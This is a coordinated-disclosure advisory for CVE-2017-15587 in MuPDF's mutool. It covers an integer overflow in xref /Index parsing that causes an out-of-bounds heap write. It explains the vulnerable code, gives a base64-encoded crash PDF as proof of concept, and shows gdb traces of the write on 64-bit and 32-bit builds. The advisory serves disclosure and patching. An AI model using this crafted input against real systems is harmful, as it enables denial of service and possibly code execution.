A vulnerability in mutools PDF parsing functionality allows an attacker to write controlled data to an arbitrary location in memory due to an integer overflow when performing truncated xref checks.

On 64 bit builds, the extent of this bug is most likely a denial-of-service while on 32 bit builds, the bug can possibly be leveraged to gain arbitrary code execution.

Affected Versions

The current release (1.11) is affected. Further analysis is required to determine which versions are also affected by the vulnerability.

Vulnerability Scores

  • Classification: CWE-787: Out-of-Bounds Write
  • CVSSv3: 7.3 (AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H)

Description

The vulnerable lines of code are present in the file source/pdf/pdf-xref.c. They are triggered in the info, ‘show’, ‘draw’, ‘clean’, ‘extract’, ‘merge’, ‘portfolio’, ‘poster’, and ‘pages’ functions of mutool.

The attached minimised crashing sample includes the following object that triggers the vulnerable code path.

obj<</[]/Index[2147483647 1]/ 0 0 R/ 0/Size 0/W[]>>stream

The issue stems from how the “/Index” entry is parsed and processed. The “/Index” entry is an array containing pairs of integers that denote the first object number in the subsection and the number of entries in the subsection.

In the function pdf_read_new_xref, the pairs of integers are read and processed. For each pair of integers, the first number is read as an int into i0 and the second is read as an int into i1. The two values are passed into the pdf_read_new_xref_section call.

 958 static pdf_obj *
 959 pdf_read_new_xref(fz_context *ctx, pdf_document *doc, pdf_lexbuf *buf)
 960 {
...
1022     int n = pdf_array_len(ctx, index);
1023    for (t = 0; t < n; t += 2)
1024       {
1025        int i0 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 0));
1026        int i1 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 1));
1027        pdf_read_new_xref_section(ctx, doc, stm, i0, i1, w0, w1, w2);
1028    }
...
1050 }

In the pdf_read_new_xref_section function, some sanity checks are performed to validate the xref structure. First, the two values have to be non-negative. Second, it checks that the xref stream is not truncated. For the out-of-bounds write to occur, the truncation check has to be bypassed.

This can be achieved by skipping the loop in line 927 by causing an integer overflow in the calculation i0 +i1. Since the values are of the type int and are signed, adding 2147483647 and 1 causes the calculation to wrap around resulting in the value of -2147483648.

 915 static void
 916 pdf_read_new_xref_section(fz_context *ctx, pdf_document *doc,
                               fz_stream *stm, fz_off_t i0, int i1, int w0,
                               int w1, int w2)
 917 {
...
 921         if (i0 < 0 || i1 < 0)
 922                 fz_throw(ctx, FZ_ERROR_GENERIC,
                              "negative xref stream entry index");
...
 927         for (i = i0; i < i0 + i1; i++)
 928         {
...
 934             if (fz_is_eof(ctx, stm))
 935                fz_throw(ctx, FZ_ERROR_GENERIC, "truncated xref stream");
...
 952         }
...
 955 }

Later on in the execution, the ensure_solid_xref function is called to merge xref subsections. The field sub->start contains the value of i0 and the field sub->len contains the value in i1. new_sub->table holds an address in the heap. In the above example on a 64 bit build, the assignment will resolve to new_sub->table[0x7fffffff] = sub->table[0];. The type of new_sub->table is pdf_xref_entry which is of size 0x20 which means that the dereference happens in multiples of 0x20. This causes the out-of-bounds write.

 162 /* Ensure that the given xref has a single subsection
 163  * that covers the entire range. */
 164 static void
 165 ensure_solid_xref(fz_context *ctx, pdf_document *doc, int num, int which)
 166 {
...
 199                 for (i = 0; i < sub->len; i++)
 200                 {
 201                         new_sub->table[i+sub->start] = sub->table[i];
 202                 }
...
 211 }

Due to the nature of constraints, i1 is bounded by the amount of memory possible to be allocated by calloc. Thus, i0 is restricted to a very large number.

On a 64 bit build, this would most likely cause a crash since the write will land in unaddressable memory. On a 32 bit build, the integer wrap around can be leveraged again to put the write in valid addressable regions and possibly achieve arbitrary code execution or cause other unspecified impact.

Mitigation

A quick fix for the issue would be to include a check for the integer overflow in pdf_read_new_xref_section. Further analysis is required to identify systemic issues resulting from the unsafe use of signed integers before suggesting a robust fix.

Proof of Concept

The file crash.pdf is included here as a base64 encoded file.

JVBERi0wMDAwMDAgMCBvYmo8PC9bXS9JbmRleFsyMTQ3NDgzNjQ3IDFdLyAwIDAgUi8gMC9TaXpl
IDAvV1tdPj5zdHJlYW0Nc3RhcnR4cmVmMTAK

On a 64 bit build of mupdf, the program crashes on the abovementioned write.

$ gdb ./mutool
(gdb) r info manipulate.pdf
Starting program: /vagrant/projects/mupdf/mutool info manipulate.pdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
manipulate.pdf:
warning: line feed missing after stream begin marker (0 0 R)

Program received signal SIGSEGV, Segmentation fault.
0x00000000004b9ec6 in ensure_solid_xref (ctx=0x2962010, doc=0x2972ba0, num=1,
                      which=0) at source/pdf/pdf-xref.c:201
201                new_sub->table[i+sub->start] = sub->table[i];
(gdb) p *sub
$1 = {next = 0x0, len = 1, start = 2147483647, table = 0x29850d0}
(gdb) p *new_sub
$2 = {next = 0x0, len = 1, start = 0, table = 0x2985120}
(gdb) x/i $rip
=> 0x4b9ec6 <ensure_solid_xref+433>:    mov    %rcx,(%rax)
(gdb) info reg rax rcx
rax            0x1002985100    68763013376
rcx            0x0    0

Whereas on a 32 bit build, the write address wraps around into a valid heap memory region and the out-of-bounds write succeeds.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /vagrant/projects/mupdf/mutool-32 info manipulate.pdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
manipulate.pdf:
warning: line feed missing after stream begin marker (0 0 R)

Breakpoint 1, ensure_solid_xref (ctx=0xa32a008, doc=0xa336948, num=1, which=0)
              at source/pdf/pdf-xref.c:201
201                new_sub->table[i+sub->start] = sub->table[i];
(gdb) p *sub
$1 = {next = 0x0, len = 1, start = 2147483647, table = 0xa348c60}
(gdb) p *new_sub
$2 = {next = 0x0, len = 1, start = 0, table = 0xa348c98}
(gdb) info reg eax ecx
eax            0x1    1
ecx            0xa32a40c    171090956
(gdb) x/xw 0xa32a40c
0xa32a40c:    0x00000000
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x080e6a21 in pdf_read_new_xref (ctx=0xa32a008, doc=0xa336948, buf=0xa336a20)
              at source/pdf/pdf-xref.c:1031
1031            entry->ofs = ofs;
(gdb)

Credit

This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).

Timeline

  • 28 Sept 2017 - Discovery of the vulnerability.
  • 28 Sept 2017 - Disclosure of vulnerability to the vendor and to Debian Security Team.
  • 16 Oct 2017 - Vendor fixes the issue in git commit.
  • 18 Oct 2017 - CVE-2017-15587 assigned to the issue.
  • 18 Oct 2017 - Publication of the vulnerability details.

Leave a Comment